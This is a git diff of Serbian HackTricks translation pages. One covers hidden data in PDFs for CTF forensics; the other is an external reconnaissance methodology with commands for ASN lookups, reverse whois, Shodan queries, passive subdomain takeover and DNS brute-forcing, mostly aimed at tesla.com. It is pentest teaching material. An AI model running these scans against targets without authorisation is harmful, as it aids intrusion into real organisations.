* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** uz pomoć najnaprednijih alata zajednice.\
|
||||
Dobijte pristup danas:
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
Pristupite danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
**Za dalje detalje pogledajte: [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)**
|
||||
**Za dalje detalje pogledajte:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
|
||||
|
||||
PDF format je poznat po svojoj složenosti i potencijalu za prikrivanje podataka, što ga čini fokalnom tačkom za izazove forenzike CTF-a. On kombinuje elemente običnog teksta sa binarnim objektima, koji mogu biti komprimirani ili šifrovani, i mogu uključivati skripte u jezicima poput JavaScript-a ili Flash-a. Da biste razumeli strukturu PDF-a, možete se referisati na Didier Stevens-ov [uvodni materijal](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), ili koristiti alate poput tekst editora ili PDF-specifičnog editora poput Origami-ja.
|
||||
PDF format je poznat po svojoj složenosti i potencijalu za skrivanje podataka, čineći ga fokusom za CTF forenzičke izazove. Kombinuje elemente običnog teksta sa binarnim objektima, koji mogu biti kompresovani ili enkriptovani, i mogu uključivati skripte u jezicima poput JavaScript-a ili Flash-a. Da biste razumeli strukturu PDF-a, možete se obratiti Didier Stevens-ovom [uvodnom materijalu](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), ili koristiti alate poput tekst editora ili PDF-specifičnog editora poput Origami-ja.
|
||||
|
||||
Za detaljnije istraživanje ili manipulaciju PDF-ovima, dostupni su alati poput [qpdf](https://github.com/qpdf/qpdf) i [Origami](https://github.com/mobmewireless/origami-pdf). Skriveni podaci unutar PDF-ova mogu biti prikriveni u:
|
||||
Za dubinsko istraživanje ili manipulaciju PDF-ova, dostupni su alati poput [qpdf](https://github.com/qpdf/qpdf) i [Origami](https://github.com/mobmewireless/origami-pdf). Skriveni podaci unutar PDF-ova mogu biti prikriveni u:
|
||||
|
||||
* Nevidljivim slojevima
|
||||
* XMP formatu metapodataka od strane Adobe-a
|
||||
* Inkrementalnim generacijama
|
||||
* Tekstu iste boje kao pozadina
|
||||
* Tekstu iza slika ili preklapajućih slika
|
||||
* Nevidljivim komentarima
|
||||
* Komentarima koji se ne prikazuju
|
||||
|
||||
Za prilagođenu analizu PDF-a, Python biblioteke poput [PeepDF](https://github.com/jesparza/peepdf) mogu se koristiti za izradu prilagođenih skripti za parsiranje. Takođe, potencijal PDF-a za skriveno skladištenje podataka je toliko velik da resursi poput NSA vodiča o rizicima i protivmerama PDF-a, iako više nisu smešteni na originalnoj lokaciji, i dalje pružaju vredne uvide. [Kopija vodiča](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) i kolekcija [tričarija u PDF formatu](https://github.com/corkami/docs/blob/master/PDF/PDF.md) od Ange Albertini-a mogu pružiti dodatno čitanje na ovu temu.
|
||||
Za prilagođenu analizu PDF-a, Python biblioteke poput [PeepDF](https://github.com/jesparza/peepdf) mogu se koristiti za izradu prilagođenih skriptova za parsiranje. Nadalje, potencijal PDF-a za skriveno skladištenje podataka je toliko velik da resursi poput NSA vodiča o rizicima i merama protiv PDF-a, iako više nisu smešteni na originalnoj lokaciji, i dalje pružaju vredne uvide. [Kopija vodiča](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) i kolekcija [triikova u PDF formatu](https://github.com/corkami/docs/blob/master/PDF/PDF.md) od Ange Albertini-a mogu pružiti dodatno čitanje na ovu temu.
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -43,10 +43,10 @@ Za prilagođenu analizu PDF-a, Python biblioteke poput [PeepDF](https://github.c
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -10,13 +10,13 @@ Drugi načini podrške HackTricks-u:
|
|||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodiču PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ako vas zanima **hakerska karijera** i hakovanje neuhvatljivog - **mi zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika, kako pisano tako i govorno_).
|
||||
Ako ste zainteresovani za **hakersku karijeru** i hakovanje neuhvatljivog - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika, kako pisano tako i govorno_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -24,18 +24,18 @@ Ako vas zanima **hakerska karijera** i hakovanje neuhvatljivog - **mi zapošljav
|
|||
|
||||
> Rečeno vam je da sve što pripada nekoj kompaniji spada u opseg, i želite da saznate šta ta kompanija zapravo poseduje.
|
||||
|
||||
Cilj ove faze je da se dobiju svi **resursi koje kompanija poseduje** i zatim svi **resursi** ovih kompanija. Da bismo to postigli, uradićemo sledeće:
|
||||
Cilj ove faze je da se dobiju sve **kompanije koje pripadaju glavnoj kompaniji** i zatim svi **resursi** ovih kompanija. Da bismo to postigli, koristićemo sledeće korake:
|
||||
|
||||
1. Pronaći akvizicije glavne kompanije, što će nam dati kompanije u opsegu.
|
||||
2. Pronaći ASN (ako postoji) svake kompanije, što će nam dati IP opsege koje poseduje svaka kompanija.
|
||||
3. Koristiti pretrage obrnutog whois-a da bismo pronašli druge unose (imenovanja organizacija, domene...) povezane sa prvom (ovo se može raditi rekurzivno).
|
||||
4. Koristiti druge tehnike poput shodan `org` i `ssl` filtera da bismo pronašli druge resurse (triik sa `ssl` može se raditi rekurzivno).
|
||||
3. Koristiti pretrage obrnutog whois-a da bismo pronašli druge unose (nazive organizacija, domene...) povezane sa prvom (ovo se može raditi rekurzivno).
|
||||
4. Koristiti druge tehnike poput shodan `org` i `ssl` filtera da bismo pronašli druge resurse (trič za `ssl` se može raditi rekurzivno).
|
||||
|
||||
### **Akvizicije**
|
||||
|
||||
Pre svega, treba da znamo koje **druge kompanije poseduje glavna kompanija**.\
|
||||
Jedna opcija je posetiti [https://www.crunchbase.com/](https://www.crunchbase.com), **pretražiti** glavnu kompaniju, i **kliknuti** na "**akvizicije**". Tamo ćete videti druge kompanije koje je stekla glavna kompanija.\
|
||||
Druga opcija je posetiti **Vikipedijinu** stranicu glavne kompanije i potražiti **akvizicije**.
|
||||
Prvo što treba da znamo je koje **druge kompanije pripadaju glavnoj kompaniji**.\
|
||||
Jedna opcija je posetiti [https://www.crunchbase.com/](https://www.crunchbase.com), **pretražiti** glavnu kompaniju, i **kliknuti** na "**akvizicije**". Tamo ćete videti druge kompanije koje je glavna kompanija akvizirala.\
|
||||
Druga opcija je posetiti **Wikipedia** stranicu glavne kompanije i pretražiti **akvizicije**.
|
||||
|
||||
> Ok, u ovom trenutku trebalo bi da znate sve kompanije u opsegu. Hajde da saznamo kako da pronađemo njihove resurse.
|
||||
|
||||
|
@ -44,8 +44,8 @@ Druga opcija je posetiti **Vikipedijinu** stranicu glavne kompanije i potražiti
|
|||
Autonomni sistemski broj (**ASN**) je **jedinstveni broj** dodeljen **autonomnom sistemu** (AS) od strane **Internet Assigned Numbers Authority (IANA)**.\
|
||||
AS se sastoji od **blokova** IP adresa koji imaju jasno definisanu politiku za pristupanje spoljnim mrežama i upravlja ih jedna organizacija, ali može biti sastavljen od više operatera.
|
||||
|
||||
Interesantno je saznati da li **kompanija ima dodeljen ASN** kako bismo pronašli njene **IP opsege**. Bilo bi korisno izvršiti **test ranjivosti** protiv svih **hostova** unutar **opsega** i potražiti domene unutar ovih IP-ova.\
|
||||
Možete **pretraživati** po imenu kompanije, po **IP**-u ili po **domenu** na [**https://bgp.he.net/**](https://bgp.he.net)**.**\
|
||||
Interesantno je saznati da li **kompanija ima dodeljen ASN** kako bismo pronašli njene **IP opsege**. Bilo bi korisno izvršiti **test ranjivosti** protiv svih **hostova** unutar **opsega** i tražiti **domene** unutar ovih IP-ova.\
|
||||
Možete **pretraživati** po imenu kompanije, po **IP** adresi ili po **domenu** na [**https://bgp.he.net/**](https://bgp.he.net)**.**\
|
||||
**Zavisno od regiona kompanije, ovi linkovi mogu biti korisni za prikupljanje više podataka:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Severna Amerika),** [**APNIC**](https://www.apnic.net) **(Azija),** [**LACNIC**](https://www.lacnic.net) **(Latinska Amerika),** [**RIPE NCC**](https://www.ripe.net) **(Evropa). U svakom slučaju, verovatno su svi** korisni podaci **(IP opsezi i Whois)** već dostupni na prvom linku.
|
||||
```bash
|
||||
#You can try "automate" this with amass, but it's not very recommended
|
||||
|
@ -95,9 +95,12 @@ dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
|
|||
dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns
|
||||
dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
||||
```
|
||||
### **Obrnuti Whois (petlja)**
|
||||
Da bi ovo radilo, administrator mora ručno omogućiti PTR.\
|
||||
Takođe možete koristiti online alat za ove informacije: [http://ptrarchive.com/](http://ptrarchive.com)
|
||||
|
||||
Unutar **whois** informacija možete pronaći mnogo zanimljivih **podataka** poput **imenа organizacije**, **adrese**, **emailova**, brojeva telefona... Ali ono što je još interesantnije je da možete pronaći **više resursa povezanih s kompanijom** ako izvršite **obrnute whois pretrage po bilo kojem od tih polja** (na primer, drugi whois registri gde se isti email pojavljuje).\
|
||||
### **Reverse Whois (petlja)**
|
||||
|
||||
Unutar **whois** informacija možete pronaći mnogo zanimljivih **podataka** poput **imenovanja organizacije**, **adrese**, **emailova**, brojeva telefona... Ali ono što je još interesantnije je da možete pronaći **više resursa povezanih sa kompanijom** ako izvršite **pretragu reverse whois-om po bilo kojem od tih polja** (na primer, drugi whois registri gde se isti email pojavljuje).\
|
||||
Možete koristiti online alate poput:
|
||||
|
||||
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Besplatno**
|
||||
|
@ -109,16 +112,16 @@ Možete koristiti online alate poput:
|
|||
* [https://www.domainiq.com/](https://www.domainiq.com) - Nije besplatno
|
||||
|
||||
Možete automatizovati ovaj zadatak koristeći [**DomLink** ](https://github.com/vysecurity/DomLink)(zahteva whoxy API ključ).\
|
||||
Takođe možete izvršiti automatsko otkrivanje obrnutog whois-a sa [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
|
||||
Takođe možete izvršiti automatsko otkrivanje reverse whois-a sa [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
|
||||
|
||||
**Imajte na umu da možete koristiti ovu tehniku da otkrijete više imena domena svaki put kada pronađete novi domen.**
|
||||
|
||||
### **Pratitelji (Trackers)**
|
||||
### **Trackeri**
|
||||
|
||||
Ako pronađete **isti ID istog pratitelja** na 2 različite stranice, možete pretpostaviti da **obe stranice** upravlja **isti tim**.\
|
||||
Na primer, ako vidite **isti Google Analytics ID** ili isti **Adsense ID** na nekoliko stranica.
|
||||
Ako pronađete **isti ID istog trackera** na 2 različite stranice, možete pretpostaviti da **obe stranice** upravlja **isti tim**.\
|
||||
Na primer, ako vidite isti **Google Analytics ID** ili isti **Adsense ID** na nekoliko stranica.
|
||||
|
||||
Postoje neke stranice i alati koji vam omogućavaju pretragu po ovim pratiteljima i više:
|
||||
Postoje neke stranice i alati koji vam omogućavaju pretragu po ovim trackerima i više:
|
||||
|
||||
* [**Udon**](https://github.com/dhn/udon)
|
||||
* [**BuiltWith**](https://builtwith.com)
|
||||
|
@ -137,7 +140,7 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
|||
|
||||
Jednostavno rečeno, favihash će nam omogućiti da otkrijemo domene koje imaju isti heš ikone favicon-a kao naš cilj.
|
||||
|
||||
Osim toga, možete takođe pretraživati tehnologije koristeći heš favicon-a kako je objašnjeno u [**ovom blog postu**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). To znači da ako znate **heš favicon-a ranjive verzije web tehnologije** možete pretražiti u shodanu i **pronaći više ranjivih mesta**:
|
||||
Osim toga, takođe možete pretraživati tehnologije koristeći heš favicon-a kako je objašnjeno u [**ovom blog postu**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). To znači da ako znate **heš favicon-a ranjive verzije web tehnologije** možete pretražiti da li je u shodanu i **pronaći više ranjivih mesta**:
|
||||
```bash
|
||||
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
|
||||
```
|
||||
|
@ -156,20 +159,25 @@ return fhash
|
|||
```
|
||||
### **Autorsko pravo / Jedinstveni niz**
|
||||
|
||||
Pretražite unutar web stranica **nizove koji bi mogli biti deljeni između različitih veb lokacija u istoj organizaciji**. **Niska autorskog prava** mogla bi biti dobar primer. Zatim pretražite tu nisku na **google-u**, u drugim **pregledačima** ili čak na **shodan-u**: `shodan search http.html:"Niska autorskog prava"`
|
||||
Pretražite unutar web stranica **nizove koji bi mogli biti deljeni preko različitih veb lokacija u istoj organizaciji**. **Niska autorskog prava** mogla bi biti dobar primer. Zatim pretražite tu nisku na **google-u**, u drugim **pregledačima** ili čak na **shodan-u**: `shodan search http.html:"Niska autorskog prava"`
|
||||
|
||||
### **CRT vreme**
|
||||
|
||||
Često je imati cron posao kao što je
|
||||
Uobičajeno je imati cron posao kao što je
|
||||
```bash
|
||||
# /etc/crontab
|
||||
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
|
||||
```
|
||||
### **Spoljni rekon metodologija**
|
||||
|
||||
Da biste obnovili sve sertifikate domena na serveru. To znači da čak i ako CA koji se koristi za ovo ne postavlja vreme kada je generisan u Vremenu važenja, moguće je **pronaći domene koje pripadaju istoj kompaniji u logovima transparentnosti sertifikata**.\
|
||||
Pogledajte ovaj [**članak za više informacija**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
|
||||
|
||||
### **Pasivno preuzimanje**
|
||||
|
||||
Izgleda da je uobičajeno da ljudi dodeljuju poddomene IP adresama koje pripadaju provajderima oblaka i u nekom trenutku **izgube tu IP adresu, ali zaborave da uklone DNS zapis**. Stoga, samo **pokretanje virtuelne mašine** u oblaku (poput Digital Ocean-a) zapravo će vam omogućiti **preuzimanje nekih poddomena**.
|
||||
Očigledno je da je uobičajeno da ljudi dodeljuju poddomene IP adresama koje pripadaju provajderima oblaka i u nekom trenutku **izgube tu IP adresu ali zaborave da uklone DNS zapis**. Stoga, samo **pokretanje virtuelne mašine** u oblaku (kao što je Digital Ocean) zapravo će značiti **preuzimanje nekih poddomena**.
|
||||
|
||||
[**Ovaj post**](https://kmsec.uk/blog/passive-takeover/) objašnjava priču o tome i predlaže skriptu koja **pokreće virtuelnu mašinu na DigitalOcean-u**, **dobavlja** IPv4 **nove mašine** i **pretražuje Virustotal za poddomenske zapise** koji na nju pokazuju.
|
||||
[**Ovaj post**](https://kmsec.uk/blog/passive-takeover/) objašnjava priču o tome i predlaže skriptu koja **pokreće virtuelnu mašinu na DigitalOcean-u**, **dobija** IPv4 **nove mašine i traži u Virustotal-u zapise poddomena** koji na nju pokazuju.
|
||||
|
||||
### **Drugi načini**
|
||||
|
||||
|
@ -177,17 +185,17 @@ Izgleda da je uobičajeno da ljudi dodeljuju poddomene IP adresama koje pripadaj
|
|||
|
||||
**Shodan**
|
||||
|
||||
Kako već znate ime organizacije koja poseduje IP prostor, možete pretražiti te podatke u Shodan-u koristeći: `org:"Tesla, Inc."` Proverite pronađene hostove za nove neočekivane domene u TLS sertifikatu.
|
||||
Kako već znate ime organizacije koja poseduje IP prostor. Možete pretražiti te podatke u Shodan-u koristeći: `org:"Tesla, Inc."` Proverite pronađene hostove za nove neočekivane domene u TLS sertifikatu.
|
||||
|
||||
Mogli biste pristupiti **TLS sertifikatu** glavne veb stranice, dobiti **ime organizacije** i zatim pretražiti to ime unutar **TLS sertifikata** svih veb stranica poznatih od strane **Shodan-a** sa filterom: `ssl:"Tesla Motors"` ili koristiti alat poput [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
|
||||
Mogli biste pristupiti **TLS sertifikatu** glavne web stranice, dobiti **ime organizacije** i zatim tražiti to ime unutar **TLS sertifikata** svih web stranica poznatih od strane **Shodan-a** sa filterom: `ssl:"Tesla Motors"` ili koristiti alat poput [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
|
||||
|
||||
**Assetfinder**
|
||||
|
||||
[**Assetfinder**](https://github.com/tomnomnom/assetfinder) je alat koji traži **domene povezane** sa glavnim domenom i **poddomene** od njih, prilično neverovatan.
|
||||
[**Assetfinder**](https://github.com/tomnomnom/assetfinder) je alat koji traži **domene povezane** sa glavnim domenom i **poddomene** od njih, prilično neverovatno.
|
||||
|
||||
### **Traženje ranjivosti**
|
||||
|
||||
Proverite da li postoji [preuzimanje domena](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Možda neka kompanija **koristi neki domen**, ali su **izgubili vlasništvo**. Samo ga registrujte (ako je dovoljno jeftino) i obavestite kompaniju.
|
||||
Proverite za neko [preuzimanje domena](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Možda neka kompanija **koristi neki domen** ali su **izgubili vlasništvo**. Samo ga registrujte (ako je dovoljno jeftino) i obavestite kompaniju.
|
||||
|
||||
Ako pronađete bilo koji **domen sa drugačijom IP adresom** od onih koje ste već pronašli u otkrivanju resursa, trebalo bi da izvršite **osnovno skeniranje ranjivosti** (koristeći Nessus ili OpenVAS) i neko [**skeniranje portova**](../pentesting-network/#discovering-hosts-from-the-outside) sa **nmap/masscan/shodan**. Zavisno od toga koje usluge se izvršavaju, možete pronaći u **ovoj knjizi neke trikove za "napad" na njih**.\
|
||||
_Napomena da se ponekad domen nalazi unutar IP adrese koja nije pod kontrolom klijenta, pa nije u opsegu, budite oprezni._
|
||||
|
@ -205,7 +213,7 @@ Vreme je da pronađemo sve moguće poddomene svakog pronađenog domena.
|
|||
|
||||
### **DNS**
|
||||
|
||||
Pokušajmo da dobijemo **poddomene** iz **DNS** zapisa. Takođe bismo trebali pokušati sa **Zone Transfer** (Ako je ranjiv, trebalo bi da prijavite).
|
||||
Pokušajmo da dobijemo **poddomene** iz **DNS** zapisa. Takođe bismo trebali pokušati za **Zone Transfer** (Ako je ranjiv, trebalo bi da prijavite).
|
||||
```bash
|
||||
dnsrecon -a -d tesla.com
|
||||
```
|
||||
|
@ -260,7 +268,7 @@ vita -d tesla.com
|
|||
```bash
|
||||
theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
|
||||
```
|
||||
Postoje **drugi zanimljivi alati/API-ji** koji, iako nisu direktno specijalizovani za pronalaženje poddomena, mogu biti korisni za pronalaženje poddomena, poput:
|
||||
Postoje **drugi zanimljivi alati/API-ji** koji, iako nisu direktno specijalizovani za pronalaženje poddomena, mogu biti korisni za pronalaženje poddomena, kao što su:
|
||||
|
||||
* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Koristi API [https://sonar.omnisint.io](https://sonar.omnisint.io) za dobijanje poddomena
|
||||
```bash
|
||||
|
@ -325,7 +333,7 @@ python3 DomainTrail.py -d example.com
|
|||
* [**securitytrails.com**](https://securitytrails.com/) ima besplatnu API za pretragu poddomena i istoriju IP adresa
|
||||
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
|
||||
|
||||
Ovaj projekat nudi **besplatno sve poddomene vezane za programe nagradjivanja pronalaska bagova**. Možete pristupiti ovim podacima i koristeći [chaospy](https://github.com/dr-0x0x/chaospy) ili pristupiti opsegu korišćenom od strane ovog projekta [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
|
||||
Ovaj projekat nudi **besplatno sve poddomene vezane za programe bug-bounty-a**. Možete pristupiti ovim podacima i koristeći [chaospy](https://github.com/dr-0x0x/chaospy) ili pristupiti opsegu korišćenom od strane ovog projekta [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
|
||||
|
||||
Možete pronaći **poređenje** mnogih ovih alata ovde: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
|
||||
|
||||
|
@ -341,11 +349,11 @@ Za ovu akciju će vam biti potrebne neke **uobičajene liste reči za poddomene
|
|||
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
|
||||
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
|
||||
|
||||
Takođe, potrebne su IP adrese dobrih DNS resolvera. Da biste generisali listu pouzdanih DNS resolvera, možete preuzeti resolvere sa [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) i koristiti [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) za filtriranje. Ili možete koristiti: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
|
||||
Takođe, potrebne su IP adrese dobrih DNS resolvera. Da biste generisali listu pouzdanih DNS resolvera, možete preuzeti resolvere sa [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) i koristiti [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) da ih filtrirate. Ili možete koristiti: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
|
||||
|
||||
Najpreporučeniji alati za DNS grubu silu su:
|
||||
|
||||
* [**massdns**](https://github.com/blechschmidt/massdns): Ovo je bio prvi alat koji je izveo efikasnu DNS grubu silu. Veoma je brz, međutim sklon je lažnim pozitivima.
|
||||
* [**massdns**](https://github.com/blechschmidt/massdns): Ovo je bio prvi alat koji je izveo efikasnu DNS grubu silu. Veoma je brz, međutim podložan je lažnim pozitivima.
|
||||
```bash
|
||||
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
|
||||
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
|
||||
|
@ -355,7 +363,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
|
|||
```
|
||||
gobuster dns -d mysite.com -t 50 -w subdomains.txt
|
||||
```
|
||||
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) je omotač oko `massdns`, napisan u go-u, koji vam omogućava da nabrojite validne poddomene korišćenjem aktivnog brute force-a, kao i da rešite poddomene sa rukovanjem wildcard-ova i jednostavnom podrškom za unos-izlaz.
|
||||
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) je omotač oko `massdns`, napisan u go-u, koji vam omogućava da nabrojite validne poddomene korišćenjem aktivnog brute force-a, kao i da rešite poddomene sa rukovanjem sa džokerima i jednostavnom podrškom za unos-izlaz.
|
||||
```
|
||||
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
||||
```
|
||||
|
@ -369,18 +377,18 @@ aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
|
|||
```
|
||||
### Druga runda DNS Brute-Force napada
|
||||
|
||||
Nakon što ste pronašli poddomene korišćenjem otvorenih izvora i brute-force tehnike, možete generisati varijacije pronađenih poddomena kako biste pokušali pronaći još više informacija. Za ovu svrhu korisni su neki alati:
|
||||
Nakon što ste pronašli poddomene korišćenjem otvorenih izvora i brute-force tehnike, možete generisati varijacije pronađenih poddomena kako biste pokušali pronaći još više. Za ovu svrhu korisni su neki alati:
|
||||
|
||||
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Generiše permutacije domena i poddomena.
|
||||
```bash
|
||||
cat subdomains.txt | dnsgen -
|
||||
```
|
||||
* [**goaltdns**](https://github.com/subfinder/goaltdns): Dati domeni i poddomeni generišu permutacije.
|
||||
* Možete dobiti goaltdns permutacije **wordlist** ovde: [**here**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
|
||||
* [**goaltdns**](https://github.com/subfinder/goaltdns): Дати домени и поддомени генеришу пермутације.
|
||||
* Можете добити goaltdns пермутације **wordlist** [**овде**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
|
||||
```bash
|
||||
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
|
||||
```
|
||||
* [**gotator**](https://github.com/Josue87/gotator)**:** Dati domeni i poddomeni generišu permutacije. Ako nije naznačena datoteka permutacija, gotator će koristiti svoju.
|
||||
* [**gotator**](https://github.com/Josue87/gotator)**:** Dati domeni i poddomeni generišu permutacije. Ako nije naznačena datoteka sa permutacijama, gotator će koristiti svoju.
|
||||
```
|
||||
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
||||
```
|
||||
|
@ -390,7 +398,7 @@ gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
|||
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
||||
```
|
||||
